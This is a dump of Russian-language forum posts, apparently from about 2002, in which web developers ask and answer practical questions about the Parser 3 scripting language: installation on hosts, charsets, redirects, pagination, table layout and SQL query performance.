и удали из директории index.html (или что там у тебя DirectoryIndex) - получишь forbidden"
"1819","Кстати, можно в доку по match понабросать побольше реальных примеров? Это было бы полезно.."
"1820","Кто настроил parser 3 на net.ru - как там правильно определить кодировки ? При включении в /auto.p конструкции \
[code]\
$request:charset[windows-1251]\
$response:charset[windows-1251]\
$response:content-type[   \
	$.value[text/html]\
	$.charset[$response:charset]\
]\
[/code]\
ругается unknow charset ... При этом mySQL работает без проблем с прописанными абсолютными путями ..."
"1821",".htaccess:\
\
[code]Order allow,deny\
Deny from all[/code]"
"1823","я написал немного об этом: http://www.egoroff.spb.ru/portfolio/file_8.html"
"1825","Забыл про SetEnv. Ты бы кинул ссылку на эту страничку в их форум. Вполне исчерпывающая инструкция. Кстати, ежели парсер живет в .../www/cgi-bin, то видимо нельзя его юзать для сайта на субдомене не www. Тоже проблема, как одну копию парсера использовать для всех субдоменов.  "
"1828","??\
/.././ping не работает\
копировать его в папку где парсер ?"
"1829","И потом, *nix'овый пинг (без параметров) выполняется until ctrl+c - уверен, что по таймауту не отвалишься?"
"1830","полный путь не работает."
"1831","хочу по скорости направить юзера по сайту."
"1832","Сложно привести все сразу? Версия парсера, код страницы, сообщение об ошибке?"
"1833","это написал Sumo (под вин 2000 работал- я поменял ping.exe нп ping, сбросил пинг в папку - (по другому никак)); \
\
[code]\
$ping[^file::exec[/ping;;$env:REMOTE_ADDR]]\
 $speed[^ping.text.match[Average =(.+)ms]]\
\
  ^if($speed.1 <= 150){\
     <h2>У вас быстрое соединение!</h2>\
     $response:refresh[\
        $.value[0]\
        $.url[/test2.html]]\
\
   }{\
      <h2>У вас медленное соединение!</h2>\
      $response:refresh[\
        $.value[0]\
        $.url[/test1.html]]\
    }\
[/code]\
=======================================\
но вот на linux asp / parser3\
Ошибка :(void) not a method or junction, can not call it\
match\
\
/www/virtual/www.sait-kot-neponravilsa-teme.com/html/detection.html(3)\
exception.type=parser.runtime "
"1834","1. Ошибка означает - программи ничего не вернула.\
\
2. ^file::exec[] создает объект с полями status и stderr\
Полезно из проверять: $ping.status, $ping.stderr\
Если бы проверил, увидел, что пишет он в stderr...\
\
3. Даже если добъешься выполнения, с таким запросом подвесишь машину.\
\
4. правильная строка под *nix: $ping[^file::exec[ping;;-c;1;$env:REMOTE_ADDR]]\
\
5. формат вывода:[code]\
PING xxx.xxx.xxx.xxx (xxx.xxx.xxx.xxx): 56 data bytes\
64 bytes from xxx.xxx.xxx.xxx: icmp_seq=0 ttl=255 time=0.249 ms\
\
--- xxx.xxx.xxx.xxx ping statistics ---\
1 packets transmitted, 1 packets received, 0% packet loss\
round-trip min/avg/max = 0.249/0.249/0.249 ms[/code]\
(Это для Мака, под RH Linux - почти аналогично)\
Какой ты там Average ловить собрался?\
\
В общем, подумай..."
"1835","сделал даже \
[code]\
$ping[^file::exec[ping;;-c;1;$env:REMOTE_ADDR]]\
$ping.text\
[/code]\
...\
\
все равно - ничего не дает - может я не понял - куда надо \
[code]$ping.stderr  ставить[/code]\
"
"1836","Незнаю, в чем может быть гадость, но данный недостаток проверен на \"работоспособность\" и на iis и на apache (rus). Дома у меня w2k server. Конечно было бы странным если-бы данная проблема была локальной (возникала только в одних случаях ), но обработав cfg от 2-го парсера (а в нем набор html шаблонов для интерфеса), выдала в текстареа именно такую особенность (файл 13 КБ). Ничего страшного в этом нет, у нас на все есть свои отходные варианты, но факт - есть факт - и при каждом редактирование данного файла уже приходиться польностью забыть  о спец. символах языка гипер разметки текста ."
"1837","Мне нужно сделать парсером редирект с одной страницы на другую, однако $response:location[url] в данном случае не подходит, поскольку он не меняет HTTP-статус ответа с 200 на 302 или 304, а просто на стороне сервера начинает обрабатывать указанный файл.\
\
Каким же образом парсером можно сделать настоящий редирект?"
"1838","поскольку папка для сайта субдомена, находится на одном уровне с www, и я не представляю как cgi вариант сделать там для нескольких сайтов."
"1839","в доке написано так:\
[code]\
$response:refresh[ \
   $.value[0] \
   $.url[/.../] \
] \
[/code]\
правда сам я не пробовал эту штуку пока."
"1842","$var[] в которой лежит твой &nbsp^; достается из базы данных (файла, из формы) и когда написан просто ^untaint[as-is]{&nbsp^;} ?\
\
В персом случае будет как ты говоришь, во втором - как ты вначале и показал - будет выведено &nbsp; и никак иначе быть просто не может."
"1843","firewall может не пропускать пинг, а сейчас даже в winXP стоит firewall, есть много других программ... также firewall стоит между внутренней сетью и интернетом, не каждый firewall пинг пропустит.\
это только первая проблема, а есть и ещё, но я думаю что и этого достаточно...\
\
ps. на крупных файловых архивах тебе предлагают самому выбрать зеркало, а не пингуют тебя. о чём это говорит?"
"1844","driver failed to initialize client library 'libmysqlclient.so', can not open the dynamic link module\
/usr/local/lib/libparser3mysql.so\
\
Это вот оно ее не находит, или неправильная либа ?\
\
А вот из сорцов не собирается, после configure\
делает Makefile с ошибкой в строке 391: Need an operator\
Че делать ?"
"1845","Да и про то, что firewall не пропускает ping я в сомнении, ибо ping не пропускается proxy сервером (это лежит в самой его сути), другое дело что и proxy и firewall могут быть в одном флаконе. Если ты про такой firewall говоришь, то ты прав."
"1846","Который проигнорирует твои пинги, более того, забъёт тебя в чёрный список на три часа, если будешь усердствовать. Корпоративный firewall на работе поступит так же.\
\
Если некий адрес (или subnet) занесён в чёрный список твоим провайдером, ты до него тоже не допингуешься - например, на нашем с [i]Givi[/i] kombat.ru нельзя делать исходящие коннекты к мирабилис-дот-ком ([i]Сволочи![/i]) и всей его подсети, - соответственно, к половине адресов в подсетке America-On-Line тоже. IMHO, подход неверен. Дай юзверю список зеркал сайта, сгруппируй их по территориальному признаку и позволь ему выбрать. Если не он выберет, его даунлоад-менеджер сам найдёт alternative locations по FTP-поиску и пропингует их самостоятельно. Или сведи альтернативные адреса в табличку и выбирай случайный адрес при обращении. Так вот load balancing для бедных устроишь..."
"1847","Как, впрочем, и почти любой заголовок ответа."
"1851","Парсер сейчас поддерживает XML/XSL только UTF-8 ?\
\
А будет ли с другими работать ?\
\
PHP+Sablotron я заставил с русскими работать, а как\
будет (будет ли ?) в парсере ?"
"1852","А как поменять заголовок Server? Apache его заменяет своим, даже если я этого не хочу...\
\
$response:Server[\
# А пущай поудивляются...\
   $.value[Microsoft IIS 1.0 (Windows 3.11 for Workgroups 16-bit)]\
]\
\
под Линухом упорно заменяется на Apache 1.3.24 (Unix) и т.д. (а под Виндой - нет, что интересно)."
"1855","В разделе про  mod_headers. Там сказано, что Date и Server поменять нельзя... Правда, это имеет отношение к самому mod_headers, который типа меняет/ставит заголовки, но суть такова, что Server отдается в самы последний момент, когда уже сформировано тело ответа, и повлиять на это уже нельзя... Увы...\
\
ЗЫ: Именно по-этому я и написал \"почти любой\" ;-)"
"1858","Как выводить постранично(20 на страницу) строки из базы\
(гостевая книга)\
не по датам(али каким другим полям), а именно по 20 штук"
"1859","Без разницы, каким парсером ты пользуешься - подход везде один:\
Сначало мы должны выбрать/получить _все_ данные из бд(или таблицы парсера) которые будут отображены на всех страницах, разрешенных к показу. Колличество строк - это основное значение, получаемое для формирования навигации по страницам: навигация строиться while'om где внутри формируеться ссылка на страницу и имя ссылки. Основной переменной(например var[current]) для цикла становиться номер строки, максимально значение - колличество строк var[current]<=var[count] в конце цикла пишем, что к переменной будет плюсоваться (в твоем случае 20 напр: var[current;+;20]) Имена ссылок (номера страниц) плучим их простой переменной, которая также как  var[current] будет плюсоваться, но только единичкой (varх[page_name;+;1]). В ссылке мы будем пердавать номер строки(href=\"*.html?startlimit=var[current)\" \
Осталось только при выводе данных указывать, что начинаем мы со строки, номер которой=form[startlimit]. По умолчанию startlimit=0. \
Вот этого принципа достаточно для создания того чего ты желаешь, остальное: всякие проверки и прибамбасы - ты уже додумаешь сам, как тебе это надо будет (например, количество записей может быть меньше, чем размер ограничения, или вообще NULLS - соответсвенно скрипт для  навигации по страницам нам вообще нафиг нужен и т.д.).\
:-) Мир.   "
"1860","Господа разработчики!\
\
Неужели новая версия означает, что\
нужно ставить крест на устаревшем синтаксисе.\
Он чего ж будет в каждой версии обновлевываться \
заново? Да вы этим самым гранату себе в одно\
место засовываете. Я бы сказал это еще и неуважение \
к тем, кто вашу технологию собирался до народных\
масс доносить! Как никак собирался этот курс \
людям читать... \
\
После такого все кто с головой будет \
пользоваться устоявшимися технологиями\
типа ASP и др.\
\
С вашей технологией свяжешься - так либо\
устареешь как пень (будешь на первой \
дырявой версии сидеть) либо все время будешь\
все перелопачивать!!!!\
\
Ну а если серьезно - вы бы лучше на \
интерфейсную часть посмотрели! Редактор\
кода парсера какой написали. Ну или в \
крайнем случае для FAR какой PLUGINS для\
COLORER сделали. Вот была бы польза.\
А то бедуинством каким-то занялись \
О!!! для ОРАКЛА драйвер написали - да с \
ним хоть кто-нибудь серьезно работал?!\
Да WEB-DB для этого сам ОРАКЛ сделал\
(хотя признаться тоже - тьфу).\
\
СЕРЬЕЗНО! Вы бы лучше сделали драйверы\
прямого доступа к Microsoft SQL Server и \
Access (и не надо говорить, что да вон \
бери DSN) тогда хоть смогли бы люди без\
участия администраторов серверов чего и\
делать... Кто вам DSN на сервере то \
создавать будет - а базу засунуть можно \
в любую папку.\
\
Вы с тактикой до конца определитесь. \
Какой рынок хотите окучить. Уж или \
ширпотреб-вэб или чего серьезное...\
\
НЕ ЗАСОВЫВАЙТЕ ВСЮ КЛАССИКУ ЯП В ЭТОТ\
ВЕСЬМА ДИКОВАТЫЙ СИНТАКСИС!\
ОН НЕ ДЛЯ ЭТОГО ИСХОДНО ПРЕДНОЗНАЧАЛСЯ!\
"
"1862","1. Синтаксис предыдущей версии:\
От него ушли по многим причинам, и, в первую очередь, из-за его недостаточности и неструктурированности.\
Но он остался. Заметьте, мы продолжаем поддерживать все, что было написано на parser2, и переводить на новую версию пока не планируем.\
Пользоваться им, или нет - дело лично каждого.\
\
2. ASP:\
Пользуйтесь на здоровье! Мы никого не принуждаем. Мы предлагаем альтернативу, на наш взгляд - конкурентноспособную.\
\
3. Про перелопачивание:\
Ничто не мешает оставаться на старой технологии на уже готовых проектах. Возможности ее давно известны. Методы отработаны.\
\
4. Colorer:\
Предложете свой вариант?\
Между прочим, подсветкой для некоторых редакторов в форуме уже обменивались. Самодельной. (Лень искать, для чего именно.)\
\
5. Oracle:\
Пользуемся. По полной программе. Несколько наших крупных клиентов сидят именно на нем. Можно посмотреть в нашем портфолио.\
\
6. ODBC:\
Неужели создание старого доброго файлового datasource теперь требует обращения к админами? И вообще, работа с веб-технологиями требует некоторого понимания \"проблем около\"... А установка базы типа MySQL на локальной машине под Win32 не сложнее установки любой современной игрушки. Тоже самое относится и к веб-серверам - \"три клика и готово\"\
\
7. Пр рынок:\
Окучили и окучим тех, кто желает видеть альтернативу и ее преимущества (и недостатки). Для них - окрытые исходники. Для них - поддержка. Для остальных - возможность примерить себе эту одежку - понравится будем рады, конструктивно не понравится - будем рады и примем к сведению, неаргументированный флейм - проигнорируем.\
\
8. \"Диковатый синтаксис\":\
А не кажется ли вам диковатым, допустим, PHP, в котором название даже тривиальной функции может состоять из 4х слов, собранных через \"_\"?\
\
IMHO закончено. Попрошу всех читателей не разводить флейма в данной ветке. Только по делу, пожалуйста. И не переходить на личности. ;-)"
"1863","как из формы - допустм с поля ми name, address  \
из формы преобразовать в табле и записать в файл...\
- как дальше вносить записи. (следующие)"
"1864","Если мы не знаем колличество возвращенных данных ???\
Делать еще запрос на коллличество - не умно. Соотвественно у тебя Мишь есть способ, позволяющий вернуть общее колличество записей  содержащихся с 1 по N страницу _гостевой_??"
"1865","[code]\
$tbl[^table::create{name -> address\
$form:name -> $form:address}]\
^tbl.save[file_name]\
[/code]\
Если надо подцепить старые:\
[code]\
$tbl[^table::load[file_name]\
^tbl.append{$form:name -> $form:address}\
^tbl.save[file_name]\
[/code]\
Вопрос: а с базой не проще?"
"1866","А если в базе 1000 записей по 40-50 килобайт каждая? Память дешевая? ;-)\
Запрос вида select count(id) from table выполняется моментально..."
"1867","вот запрос:\
[code]\
SELECT DISTINCT o.id, o.name, o.isperson FROM org o, org_link k, org_link k2 WHERE o.id = k.org2 AND o.name like '%^form[search_form]%' AND ( ( k.org1 ='^cookie[org_root]'  AND k.link =6  AND k2.id = k.id ) OR ( k.link =1 AND k.org1 = k2.org1 AND k2.link =5 AND k2.org2 ='^cookie[org_root]' )) order by name\
[/code]\
таблица org содержит более 2000 записей. Когда я делал 2 запроса, один - count, второй - см.выше - пауза перед выдачей данных была нехилая, по сравнению с тем вариантом, который я описывал в сообщение выше. "
"1868","некоторые очень важные web программеры сказали, что никогда не будут использовать ASP - так как это виндовс - а виндовс это\
не есть серверное решение.\
ps: разрабатывают на ASP linux :) - хотя это не то, что надо....\
pps:в чем проблема с синтаксисом ? - все нормально - попробовал несколько вариантов хитрых скобок и все ;-)"
"1869","[quote] 8. \"Диковатый синтаксис\": А не кажется ли вам диковатым, допустим, PHP, в котором название даже тривиальной функции может состоять из 4х слов, собранных через \"_\"? [/quote]\
\
пример пожалуйста, тривиальную функцию?\
из 4-х слов функции есть, но это встречается в модулях и к синтаксису не имеет отношения.\
"
"1870","Я новичек по работе на PARSER. Не подскажите, как сделать опрос для сайта при помощи PARSER?"
"1871","1. Голосование?\
2. Короткая анкета?\
3. Online surveys system?"
"1872","org содержит 2000 записей? А org_link допустим 10.\
Твой запрос работает знаешь с каким кол-вом записей? 2000*10*10\
\
А если еще учесть что там есть like, distinct и order...\
\
Я почти уверен, что без создания временной таблицы этот запрос не выполняется :)\
\
С моей точки зрения его надо разбивать на несколько...\
\
Интересно посмотреть, что у тебя на такой запрос говорит EXPLAIN? Не покажешь? (если не в курсе, то в mysql клиенте набери EXPLAIN и через пробел твой запрос).\
\
Возвращаясь к гостевой книге... Что-то подсказывает мне, что там не будет self join-ов, как не будет join по трем табличкам. Максимум по двум (если кто-то решит хранить посетителей отдельно, и это вряд-ли). При таком раскладе запрос, вычисляющий общее количество записей будет происходить очень быстро (с твоим примером можно даже не сравнивать, разница в порядке).\
Этот count нам нужен лишь для того, чтобы напирсовать навигацию по записям в гостевухе.\
Сами-же сообщения выбираются одним запросом с LIMIT (но не в запросе, а используя ^table::sql{...}[$.limit(20)$.offset(^form:current.int(0))]\
После этого одно ^records.menu{} для вывода результатов и один ^for[i](0;^eval($count/20)){}\
для построения линейки навигации...\
\
\
\
"
"1876","Кстати о 4-словах, собранных через \"_\"...\
\
\
Я повадился писать имена сочиняемых @...[] именно так: если функции связанные, то вложенная образуется из имени вызывающей-подчерукивание-имя вызываемой. Так проще ориентироваться. видно, кто кому принадлежит, и кто для кого кем является.\
\
\
Так что функцуии из 4-ч слов через подчерк- это  цветочки :) бвало и боле.\
"
"1878","да не базу пока забросили..\
и еще - как редактировать / удалять добавленные записи (допустим : records.cfg)\
как это сделать ? checkbox'aми ?. textfiel'om ?"
"1879","Когда я просматриваю страницы [i]Sokr.Ru[/i] в [i]mozilla[/i], они мне выдаются в кодировке [i]utf-8[/i]. Если я возьму [i]ie[/i] или [i]netscape4[/i], то получу [i]windows-1251[/i]. С чем это связано? \
\
Не то чтобы мне это не мешало -- при просмотре в [i]utf-8[/i] парсер неправильно перекодирует [i]http-header[/i]. Он думает что [i]http-header[/i] в [i]windows-1251[/i], а он в [i]utf-8[/i], следовательно я не могу воспользоваться поиском по [i]Sokr.Ru[/i]. \
\
Пример: заходим на Sokr.Ru, вводим в строке поиска \"тема\", mozilla делает запрос http://www.sokr.ru/?text=%D1%82%D0%B5%D0%BC%D0%B0&where=abbr , в поле \"что ищем\" написано \"я&#9484;п&#9571;п&#9578;п&#9567;\".\
\
Это ведь баг парсера? Или мозиллы? ;-)\
\
P.S. Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.0rc3) Gecko/20020523"
"1880","У нас mssql. У него EXPLAIN SELECT .... напрочь отсутствует. Так что покажу в графике от query analyzer (увы, только в понедельник). Запрос писался не мной, так что по запросу я не в ответе (мне любезно предоставил начальник, после того, как я написал несколько запросов, но на эту же тему)."
"1881","Блин, ну RTFM & RTFForum(for PARSER v2) & и посмотри экзамплесы, для того и выкладывались\
\
"
"1882","Намек: ^table.select"
"1883","Существует ли хоть один хостинг на котором поддерживается Parser. если да, то пожалуйста скажите где такой имеется.\
За ранее благодарен Дмитрий."
"1884","Ошибки в 4 разделе исправили, а как насчет третьего раздела.\
И еще вопрос будет ли версия для Solaris8(x86)"
"1885","К данной СУБД доступ можно получить 3-мя способами:\
\
1. ODBC\
2. OLE DB\
3. ActiveX\
\
Других я не знаю (если есть подскажите). При использовании ODBC для подключения накладные расходы (и время установления соединения) самые минимальные, однако и скорость работы при уже установленном соединении несколько меньше чем у двух других способов. Думаю для веб-приложений наиболее критичным является время установления коннекта с базой и я думаю вряд ли приемлемо когда на это уходит более 0.1-0.2 секунды. У последних 2 способов время установления соединения с базой никак не меньше 0.5 сек. (нужно время пока загрузятся все dll) т.е. для варианта CGI эти способы не катят, однако для модуля Apache или ISAPI варианта соединение можно и не закрывать после каждой страницы, однако писать отдельный модуль для доступа к СУБД который работает не для всех вариантов неразумно.\
\
Ещё одно достоинство OBBC - это универсальность, и это думаю перевешивает все достоинства двух других способов доступа."
"1886","Тебе нужно:\
\
1. Поддержка собственных CGI скриптов\
\
2. Доступ к .htaccess\
\
Эти вещи есть у подавляющего большинства платных хостингов."
"1887","Поставил я наконец себе под Apache (Win32) парсер 3 в виде модуля, однако столкнулся с такой штукой:\
При вызове $env:PATH_INFO и $env:PATH_TRANSLATED ничего не возвращается, все другие переменные окружения возвращаются нормально. Это ошибка или особенность работы парсера в виде модуля Apache?"
"1890","Да просто 3 раздел не доконца грузиться причем и в документации, и в примерах\
Заканчивается на строке ^for....."
"1891","Так определи к нему еще и:\
\
[code]\
$response:content-type[\
	$.value[text/html]\
	$.charset[$response:charset]\
]\
[/code]\
\
Ну или windows-1251 туда ручками (мне так удобнее)"
"1892","Нaдо выводить данные в столбцы\
примерно следующего вида \
1> 2\
3> 4\
5> 6\
\
при использовании цикла\
выводит\
1> 2\
1> 2\
\
a при сдвиге строки таблицы \
1> 2\
2> 3\
3> 4\
Что - то не могу сообразить как выводить правильно(т.е. так как надо)\
ПОМОГИТЕ, please!"
"1893","/ в file::exec =как и везде по parser= DOCUMENT_ROOT\
так что если непременно хочется запустить напрямую, то /../../../\
\
но рекомендуется запустить командный файл, лежащий в /../bin/\
уже в котором будет написан путь.\
преимущество: отвязываемся от полного пути в файлах сайта = при переносе с отладочного на реальный сервер изменения собираются в одну папку bin. назвать её можно site sitescripts hostingscripts hostingspecific или как фантазия подскажет."
"1894","какой redirect, внутренний или внешний произойдёт зависит.\
попробуйте на http://domain/path/ сделать, посмотрите."
"1895","запускать gmake"
"1897","http://test/index.html/test\
$env:PATH_INFO=/test\
\
тут она совсем как в стандарте.\
поскольку не происходит internal redirect на parser cgi."
"1899","Однако это грустно."
"1900","Точнее, особенность самого Apache. Нет CGI - нет и PATH_INFO. Так что - все нормально."
"1901","у IIS тоже есть свои особенности.\
их знание никто не отменял :(\
построить рай не входило в задачи"
"1904","http://plug-ins.ru/misc/eep.gif\
наверно тебе это было интересно увидеть ?"
"1905","Давно пора сделать раздел со списком хостеров, на которых опробован - и работает парсер(2/3). Очень долго будет идти такие вопросы: а где взять хостинг ? И не многие желают и додумываються пользоваться поиском по форуму. \
Было-бы желательно кроме списка хостеров, внести описание особенностей установки для каждого хостера.\
Полагаю, что эту идею поддерживают многие.\
pset"
"1906","Books online:\
Nested Loops (77%):\
Advanced Query Tuning Concepts | Understanding Nested Loops Joins:\
\"...In large queries, however, nested loops joins are often not the optimal choice.\"\
\
\
Table Spool (9%):\
Analyzing a Query | Logical and Physical Operators:\
The Table Spool physical operator scans the input and places a copy of each row in a hidden spool table (stored in the tempdb database and existing only for the lifetime of the query).\
\
\
Index Spool (7%) - опять tempdb...\
\
В общем я бы пооптимизировал этот запрос :)))\
Хотя если начальник сказал... :)"
"1907","Может кто подскажет как в p3 организовать навигацию на <<предыдущую и соотв. следущую>> страницы для урока с меню навигации?"
"1908","Да пробовал подождать, и *.chm тоже в критич. ошибку вывалвается"
"1909","Тестировался про принципу - copy-paste\
Примечательно, что если XML на аглицком, то все ок !"
"1910","Может тебе поможет если ты проиндексируешь все поля которые входят в where ?"
"1911","Т.е. имеется в виду чат по принципу недогружаемой страницы,\
в цикле проверяем завершение по таймауту юзера и выпихиваем поступающие строки из базы в страницу ...\
\
Т.е. время работы скрипта = время сессии юзера.\
\
В PHP есть ob_flush(http://www.php.net/ob_flush), а в Парсере ?\
"
"1912","Так что server push тебе не организовать. Делай два фрейма и рефрешь  один из них каждые n секунд."
"1914","если ничего не предпринять по-умолчанию подставится UTF-8"
"1916","1. Писать все сообщение в subj - неприлично!\
2. \"Бесплатный хостинг от agava - фигня\" - мое личное мнение (никакого отношения к реальности не имеющее). Кому-то этот хостинг может нравиться - это его личное мнение (взаимоотношения с реальностью - аналогичные - т.е. ничего общего). Переубеждать меня в этом вопросе - бессмысленно (а это уже серьезно ;-) )."
"1917","Все сделал как велено, при обращении к сайту говорит: The requested URL /vcgi/parser3.cgi/index.html was not found on this server. Где я дурак? (не сомневаюсь, что везде). Может ли кто-нибудь по шагам прямо расписать процесс установки. По маленьким шагам. Плиз."
"1920","Есть фотогаллерея на ПХП\
перевожу я ее на ПАРСЕР\
Проблема одна:\
не могу добиться, чтобы изображения выводились в столбцах вида\
1.jpg  2.jpg  \
\
3.jpg  4.jpg  \
\
и т.д.\
\
"
"1921","Короче обычная галлерея нужна мне\
а получить ее не выходит все выводит все в один столбец и все тут....\
а мне надо чтобы выводило \
[code]\
\
\
1.jpg 2.jpg \
\
3.jpg 4.jpg \
\
5.jpg 6.jpg \
\
\
\
[/code]\
\
\
"
"1924","Миша, вопрос в первую очередь к тебе, хотя, может быть, кто-то ещё ответит.\
\
Я со своим форумом что-то больно часто стал наблюдать сообщение про 'out of pool memory' (парсер отжирает более 13 мегов памяти и операционка kill'яет его процесс) и понял, что вывод числа реплик за раз нужно лимитировать.\
\
Все реплики за месяц - это многовато (Error 500 практически всегда); вывод по неделям - удобно, но на грани вылета; по три дня, как это сделано тут - надёжно, но неудобно в использовании.\
\
Есть ли какое-то эмприческое правило, которое позволяет примерно определить, какой период времени мне нужно делать в select'е? В моём форуме за месяц набирается чуть более ста реплик с parentid=\"0\" (а всего их порядка 850).\
\
 "
"1925","Вроде бы пока парсер не вылетает.\
\
Можете полюбоваться на <b>тестовый вариант</b> моего сайтика - [url=\"http://gfkforum.bougakov.com/forum/?&filterby=date&week=2&monthn=04&year=2002\"]http://gfkforum.bougakov.com/forum/[/url]   - всё на третьем парсере + щепотка перла (только учтите, что сделано ещё только треть от задуманного, а кошмарный зелёный дизайн \"по умолчанию\" - не моё изобретение; то, что надизайнил я, можно выбрать по ссылке вверху \"настройте сайт 'под себя'\" и выбрав 'новый дизайн').\
\
Кстати, такой вот вопрос для прогрессивной общественности - посоветуйте, как быть в такой ситуации: есть сайт с трехлетней историей и с кошмарным дизайном, который я переделываю. Его хозяин говорит, что старожилы сайта привыкли к старому цветовому оформлению и не воспримут перемен. OK, отвечаю я - сделаем новый дизайн, а 'ортодоксы' пускай просто выбирают старый skin и живут как раньше. Мне же отвечают - нет уж, сделай старый дизайн default'овым вариантом, кто хочет, выберет новый. Как мне его убедить? Неправильно жить и дальше с таким убожеством ведь...\
"
"1926","{url=\"ааа\"}ббб{/url} преобразуется в <a href=\"aaa\">aaa</a> вместо <a href=\"aaa\">ббб</a>..."
"1927","Посмотри исходник, там всё понятно. ;-)"
"1928","ведь там указывается виртуальное, а не физическое имя"
"1929","То лучше сделать 3 фрейма :\
\
Мессаги,\
Форма отправки,\
Рефреш форма (height=1 width=1)\
\
Рефреш форма выталкивает в фрейм мессаг Javascript'om изменения.\
\
Мораль : избавляемся от противного мерцания и имеем довольно реалистичное добавление мессаджей %)"
"1930","подскажите может кто сталкивался..\
было бы очень удобно..\
короче умеет ли parser делать ls,\
под IIS?"
"1931","сабж дампится в кору в момент инициализации.\
запускаю с командной строки$./parser3 index.html\
\
parser3.C: main->\
call_real_parser_handler__do_SEH->\
real_parser_handler->\
init_methoded_array(*pool)->\
classes.C: void init_methoded_array(Pool& pool) {\
        methoded_array=new(pool) Methoded_array(pool);\
//CORE DUMPED HERE\
}\
\
\
truss выдал:\
Incurred fault #5, FLTACCESS  %pc = 0x00022AB0\
      siginfo: SIGBUS BUS_ADRALN addr=0x000C9A3D\
    Received signal #10, SIGBUS [default]\
      siginfo: SIGBUS BUS_ADRALN addr=0x000C9A3D\
        *** process killed ***\
\
$ gcc -v\
Reading specs from /usr/local/lib/gcc-lib/sparc-sun-solaris2.8/2.95.3/specs\
gcc version 2.95.3 20010315 (release)\
\
GNU Make version 3.79.1 and etc.\
\
у кого-нибудь был успех в сборке parser3 на SPARC Solaris8?\
"
"1932","Пару месяцев назад освоил parser2 и очень им доволен. Недавно, услышал о появлении новой версии - parser3, но установить его на сервак не смог (хостинг net.ru). У меня домен второго ru уровня. Что делать ?"
"1933","Сначала {url=\"aaa\"}bbb{/url} заменялось на \
<a href=\"aaa\">bbb</a>, но т.к. bbb было http://... то производился его autocompleate... :))))\
\
"
"1935","С самого начала:\
\
шаг1. Я, как умная Маша, спросил техподдержку провайдера: какой тарифный план нужен, чтобы парсер работал? Мне ответили \"Деловой\", причем техподдержка зенона не поленилась и скинула мне в письме линк на версию парсера3, которая будет жить у них на сервере (* http://www.parser.ru/download/freebsd/ * http://www.parser.ru/docs/lang/install4apache.htm * http://hosting.zenon.net/documentation/v-www/0006.html). Я скачал все разом. В macosx  все это дело сразу легло на десктоп и автоматически разархивировалось. Получилось приличная куча парсеров.\
\
2. Далее, помятуя о том, что техподдержка мне особо отметила, что мои скрипты должны лежать в каталоге /vcgi/, я туда скопировал parser.cgi в бинарном режиме, потом вручную поправил права на нужные. Создал каталог /parser3/, в него скопировал из дистрибутива самого простого (без поддержки чего-л.) /lib/*, parser3.conf и файлы-кодировки. Все в бинарном режиме, у всех подкрутил права.\
\
3. Создал .htaccess (решил вообще не мучаться и с левой части экрана в разделе, где описан процесс установки под FreeBSD4.5) скопировал в BBEdit, потом скопировал на сайт. (Все работы ведутся в корневом каталоге, а не в каталоге /www/, где лежат html).\
\
4. Не заработало. Точнее, при обращении к сайту, он стал говорить, что он не может найти файл /vcgi/parser.cgi/index.html\
\
5. Начал редактировать пути в .htaccess (открыл errorLog и посмотрел, на отсутствие какого файла он матерится — оттуда узнал полный путь на сервере до искомого файла, прописал, фигушки).\
\
6. После этого, я менял пути, копировал все файлы парсера в различных режимах заново, менял .htaссess, ничего не заработало. Я все удалил с сервера, восстановил прежний индекс.хтмл, задал вопрос на форуме и пошел домой. А сейчас сижу и читаю все подряд. Скоро снова начну бороться."
"1936","когда разберёмся напишем, ухожу в мыло"
"1937","В сторону изменения алгоритма вывода тредов...\
\
Думаю сделать специфическую сортировку и выводить посредством одного menu.\
Рекурсия не очень оптимальное решение...\
\
А пока можно оставить так и/или пооптимизировать код..."
"1938","Так вот, попытаюсь еще раз изложить суть моей проблемы \
Надо мне, чтобы выводило из базы данных сообщения(картинки) в два столбца \
[code]\
\
<tr>\
        <td>один</td><td>два</td>\
</tr>\
\
<tr>\
        <td>три</td><td>четыре</td>\
</tr>\
[/code]\
\
Везде, где это юзают, сообщения выводятся так:\
\
[code]\
\
<tr>\
        <td>один</td>\
</tr>\
\
<tr>\
        <td>два</td>\
</tr>\
[/code]\
\
А как прийти к нужному мне виду - ума не приложу....\
блин...."
"1939","Напишите, чего не выходит (чем сервак матюкается) и я, думаю, смогу вам помочь"
"1940","Народ, а можно ли на Парсере сабж забацать???"
"1941","Что Вы имели в виду под выражением \"сабж забацать\" ?"
"1942","^for[i](1;^tbl.count[]\\2){\
 <tr>\
   <td>$tbl.name</td>\
   ^tbl.offset(1)\
   <td>$tbl.name</td>\
   ^tbl.offset(1)\
 </tr>\
}"
"1943","Конечно меня самого тут ругают и говорят типа \"ртфм\", все в доках написано, радует, что не я один такой..... :)\
list. Получение оглавления каталога \
 \
 [code]\
\
^file:list[путь] \
^file:list[путь;фильтр]    \
[/code]\
Формирует таблицу (объект класса table) с одним столбцом name, содержащим файлы и каталоги по указанному пути, имена которых удовлетворяют шаблону, если он задан. \
\
фильтр - регулярное выражение (см. метод match класса string) для обобщения типа запрашиваемых файлов. Без указания фильтра будут выведены все найдены по заданному пути файлы \
\
Пример использования: \
[code]\
$list[^file:list[/;\\.zip^$]] \
^list.menu{ \
   $list.name<br> \
} \
[/code]\
Выведет имена всех архивных файлов с расширением имени .zip, находящихся в корневом каталоге веб-сервера. \
\
"
"1944","Но вот только как сделать, что бы оно это дело останавливалось на последней строке таблицы?"
"1946","\
"
"1948","[code]\
^for[i](1;^news.count[]\\2){\
\
^if($news.id){<tr>\
<td>$news.id</td>\
^news.offset(1)\
<td>$news.id</td>\
^news.offset(1)\
</tr>}{\
  }\
[/code]\
все равно фигня выходит\
"
"1950","Правда, меня что-то совсем застопорило.\
напиши, плиз"
"1951","Сразу скажу, что я не спец. по серверам и как простой человек добиваюсь чего-либо путем бескоенчных тырканей и копания, но вот столкнулся с проблемой, и до устарнение причины оной я не допираю.\
